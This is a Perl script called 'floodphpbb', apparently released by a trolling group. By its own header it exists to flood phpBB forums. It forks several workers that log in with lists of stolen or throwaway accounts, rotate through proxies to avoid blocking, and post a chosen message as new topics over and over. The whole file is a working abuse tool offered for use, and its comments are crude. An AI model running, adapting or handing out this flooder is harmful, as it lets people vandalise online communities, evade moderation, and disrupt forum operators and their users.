| 1 | #!/usr/bin/perl |
|---|
| 2 | # floodphpbb alpha 1 |
|---|
| 3 | # by Popeye | popeye@gnaa.us | are you down with the GNAA killaz? if so see #gnaa @ irc.gnaa.us |
|---|
| 4 | # use this program to flood the shit out of phpbb forums |
|---|
| 5 | # usage - floodphpbb <url> <message> <accountlist> <proxylist> |
|---|
| 6 | # <url> is something like http://www.somebb.com/forum |
|---|
| 7 | # <message> is a file with the subject on the first line and the message on the following line(s) |
|---|
| 8 | # <accountlist> are accounts in the format user password (separated by a space) on each line |
|---|
| 9 | # <proxyfile> is a list of proxies in the format xxx.xxx.xxx.xxx:xx (address and port separated by a colon, |
|---|
| 10 | # one per line. |
|---|
| 11 | |
|---|
| 12 | use strict; |
|---|
| 13 | |
|---|
| 14 | use Socket; |
|---|
| 15 | use IO::Handle; |
|---|
| 16 | use LWP::UserAgent; |
|---|
| 17 | use HTTP::Request::Common; |
|---|
| 18 | use HTTP::Cookies; |
|---|
| 19 | |
|---|
| 20 | $SIG{CHLD} = 'IGNORE'; |
|---|
| 21 | |
|---|
| 22 | if($#ARGV < 2) |
|---|
| 23 | { |
|---|
| 24 | print STDERR "!! missing file argument\n"; |
|---|
| 25 | exit 0; |
|---|
| 26 | } |
|---|
| 27 | |
|---|
| 28 | my $url = shift @ARGV; |
|---|
| 29 | my %accounts = (); |
|---|
| 30 | my %proxies = (); |
|---|
| 31 | my $subject; |
|---|
| 32 | my $message; |
|---|
| 33 | my $i; |
|---|
| 34 | |
|---|
| 35 | my $MAXFORK = 10; |
|---|
| 36 | #my $MAXFORK = 25; |
|---|
| 37 | my $MAXFAIL = 1; |
|---|
| 38 | |
|---|
| 39 | open MYFILE, shift @ARGV or die "$!"; |
|---|
| 40 | $subject = <MYFILE>; chomp $subject; |
|---|
| 41 | while (<MYFILE>) |
|---|
| 42 | { |
|---|
| 43 | $message .= $_; |
|---|
| 44 | } |
|---|
| 45 | close MYFILE; |
|---|
| 46 | |
|---|
| 47 | if (my $ACCOUNTFILE = shift @ARGV) |
|---|
| 48 | { |
|---|
| 49 | print STDERR "> Populating list of accounts from '$ACCOUNTFILE'"; |
|---|
| 50 | open ACCOUNTFILE, $ACCOUNTFILE or die "$!"; |
|---|
| 51 | $i=0; |
|---|
| 52 | while (<ACCOUNTFILE>) |
|---|
| 53 | { |
|---|
| 54 | $i++; |
|---|
| 55 | chomp; |
|---|
| 56 | /^(.+) (.+)$/; |
|---|
| 57 | $accounts{$1} = $2; |
|---|
| 58 | } |
|---|
| 59 | close ACCOUNTFILE; |
|---|
| 60 | print STDERR "\n> Got $i accounts.\n"; |
|---|
| 61 | } |
|---|
| 62 | |
|---|
| 63 | my $PROXYFILE = shift @ARGV if @ARGV; |
|---|
| 64 | |
|---|
| 65 | socketpair (CHENEY, BUSH, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!"; |
|---|
| 66 | |
|---|
| 67 | CHENEY->autoflush(1); |
|---|
| 68 | BUSH->autoflush(1); |
|---|
| 69 | |
|---|
| 70 | if (my $jpid = fork) |
|---|
| 71 | { |
|---|
| 72 | close BUSH; |
|---|
| 73 | } |
|---|
| 74 | else |
|---|
| 75 | { |
|---|
| 76 | die "$!" unless defined $jpid; |
|---|
| 77 | close CHENEY; |
|---|
| 78 | |
|---|
| 79 | $SIG{INT} = \&exit_nicely; |
|---|
| 80 | |
|---|
| 81 | if (defined $PROXYFILE) { |
|---|
| 82 | print STDERR "> Populating list of proxies from '$PROXYFILE'"; |
|---|
| 83 | open PROXYFILE, $PROXYFILE or die "$!"; |
|---|
| 84 | $i=0; |
|---|
| 85 | while (<PROXYFILE>) { |
|---|
| 86 | $i++; |
|---|
| 87 | chomp; |
|---|
| 88 | $proxies{$_} = $MAXFAIL; |
|---|
| 89 | } |
|---|
| 90 | close PROXYFILE; |
|---|
| 91 | print STDERR "\n> Got $i proxies.\n"; |
|---|
| 92 | } |
|---|
| 93 | |
|---|
| 94 | my $command; |
|---|
| 95 | while (1) { |
|---|
| 96 | chomp ($command = <BUSH>); |
|---|
| 97 | |
|---|
| 98 | if ($command =~ /getproxy/) { |
|---|
| 99 | if (keys %proxies > 0) { |
|---|
| 100 | print BUSH (keys %proxies)[int rand keys %proxies] ."\n"; |
|---|
| 101 | } else { |
|---|
| 102 | print BUSH 'none\n'; |
|---|
| 103 | } |
|---|
| 104 | } elsif ($command =~ /fail (\S+)/) { |
|---|
| 105 | if ( --$proxies{$1} le 0 ) { |
|---|
| 106 | print STDERR "killing $1\n"; |
|---|
| 107 | delete $proxies{$1}; |
|---|
| 108 | } |
|---|
| 109 | } else { |
|---|
| 110 | die "Bad command: $command\n"; |
|---|
| 111 | } |
|---|
| 112 | } |
|---|
| 113 | } |
|---|
| 114 | |
|---|
| 115 | |
|---|
| 116 | for ($i=0; $i<$MAXFORK; $i++) { |
|---|
| 117 | FORK: |
|---|
| 118 | { |
|---|
| 119 | if (my $pid = fork) |
|---|
| 120 | { |
|---|
| 121 | } |
|---|
| 122 | elsif (defined $pid) |
|---|
| 123 | { |
|---|
| 124 | while (1) |
|---|
| 125 | { |
|---|
| 126 | my ($username, $password) = get_account (); |
|---|
| 127 | |
|---|
| 128 | print CHENEY "getproxy\n"; |
|---|
| 129 | chomp (my $proxy = <CHENEY>); |
|---|
| 130 | |
|---|
| 131 | print STDERR "> child $i posting with proxy $proxy and user $username\n"; |
|---|
| 132 | |
|---|
| 133 | if (psot ($proxy, $username, $password)) |
|---|
| 134 | { |
|---|
| 135 | print STDERR "> child $i posted with success.\n"; |
|---|
| 136 | } |
|---|
| 137 | else |
|---|
| 138 | { |
|---|
| 139 | print STDERR "> child $i failed to post with $proxy\n"; |
|---|
| 140 | print CHENEY "fail $proxy\n"; |
|---|
| 141 | die |
|---|
| 142 | } |
|---|
| 143 | } |
|---|
| 144 | |
|---|
| 145 | } |
|---|
| 146 | elsif ($! =~ /No more process/) |
|---|
| 147 | { |
|---|
| 148 | redo FORK; |
|---|
| 149 | } else |
|---|
| 150 | { |
|---|
| 151 | print STDERR "hit process limit\n"; |
|---|
| 152 | goto ENDFORK; |
|---|
| 153 | } |
|---|
| 154 | } |
|---|
| 155 | } |
|---|
| 156 | |
|---|
| 157 | while (1) { sleep 1; } |
|---|
| 158 | |
|---|
| 159 | psot(); |
|---|
| 160 | |
|---|
| 161 | sub psot |
|---|
| 162 | { |
|---|
| 163 | my $proxy = shift; |
|---|
| 164 | my $username = shift; |
|---|
| 165 | my $password = shift; |
|---|
| 166 | |
|---|
| 167 | my $ua = LWP::UserAgent->new; |
|---|
| 168 | $ua->agent('Mozilla/5.0'); |
|---|
| 169 | $ua->cookie_jar(HTTP::Cookies->new); |
|---|
| 170 | if (! ($proxy =~ /none/) ) { $ua->proxy('http', "http://$proxy"); } |
|---|
| 171 | push @{$ua->requests_redirectable}, 'POST'; |
|---|
| 172 | |
|---|
| 173 | my $sid; |
|---|
| 174 | |
|---|
| 175 | my @topics; |
|---|
| 176 | |
|---|
| 177 | my $response = $ua->request(GET $url); |
|---|
| 178 | |
|---|
| 179 | foreach my $x (split /\n/, $response->content) |
|---|
| 180 | { |
|---|
| 181 | print $x."\n"; |
|---|
| 182 | if ($x=~ m|php\?sid=([^\"]+)\"|i) |
|---|
| 183 | { |
|---|
| 184 | $sid = $1; |
|---|
| 185 | } |
|---|
| 186 | } |
|---|
| 187 | |
|---|
| 188 | if ($sid eq "") |
|---|
| 189 | { |
|---|
| 190 | print "!! failed to get session ID for user\n"; |
|---|
| 191 | # return 0; |
|---|
| 192 | } |
|---|
| 193 | |
|---|
| 194 | my $posturl = "$url\/login.php?redirect=$url\/index.php"; |
|---|
| 195 | |
|---|
| 196 | my $req = POST $posturl, [ username => $username, |
|---|
| 197 | password => $password, |
|---|
| 198 | sid => $sid, |
|---|
| 199 | redirect => '', |
|---|
| 200 | login => 'Login', |
|---|
| 201 | ]; |
|---|
| 202 | |
|---|
| 203 | $req->referer($url); |
|---|
| 204 | $response = $ua->request($req); |
|---|
| 205 | |
|---|
| 206 | foreach my $x (split /\n/, $response->content) |
|---|
| 207 | { |
|---|
| 208 | if ($x=~ /(a href=.+?viewforum.+?f=(.+?)\")/) |
|---|
| 209 | { |
|---|
| 210 | push(@topics, $2); |
|---|
| 211 | } |
|---|
| 212 | } |
|---|
| 213 | |
|---|
| 214 | my $choice = int(rand($#topics)); |
|---|
| 215 | $posturl = "$url\/posting.php"; |
|---|
| 216 | |
|---|
| 217 | $req = POST $posturl, [ subject => $subject, |
|---|
| 218 | message => $message, |
|---|
| 219 | mode => 'newtopic', |
|---|
| 220 | sid => $sid, |
|---|
| 221 | f => $topics[$choice], |
|---|
| 222 | post => 'Submit', |
|---|
| 223 | poll_title => '', |
|---|
| 224 | add_poll_option_text => '', |
|---|
| 225 | poll_length => '', |
|---|
| 226 | ]; |
|---|
| 227 | |
|---|
| 228 | $response = $ua->request($req); |
|---|
| 229 | |
|---|
| 230 | if ($response->content eq "") |
|---|
| 231 | { |
|---|
| 232 | print STDERR "!! Error posting\n"; |
|---|
| 233 | } |
|---|
| 234 | |
|---|
| 235 | return 1; |
|---|
| 236 | |
|---|
| 237 | } |
|---|
| 238 | |
|---|
| 239 | sub get_account |
|---|
| 240 | { |
|---|
| 241 | if (keys %accounts > 0) { |
|---|
| 242 | my $nick = (keys %accounts)[int rand keys %accounts]; |
|---|
| 243 | return ( $nick, $accounts{$nick} ); |
|---|
| 244 | } else { |
|---|
| 245 | return ( '', '' ); |
|---|
| 246 | } |
|---|
| 247 | } |
|---|
| 248 | |
|---|
| 249 | sub exit_nicely |
|---|
| 250 | { |
|---|
| 251 | die "> Exiting floodphpbb.\n"; |
|---|
| 252 | } |
|---|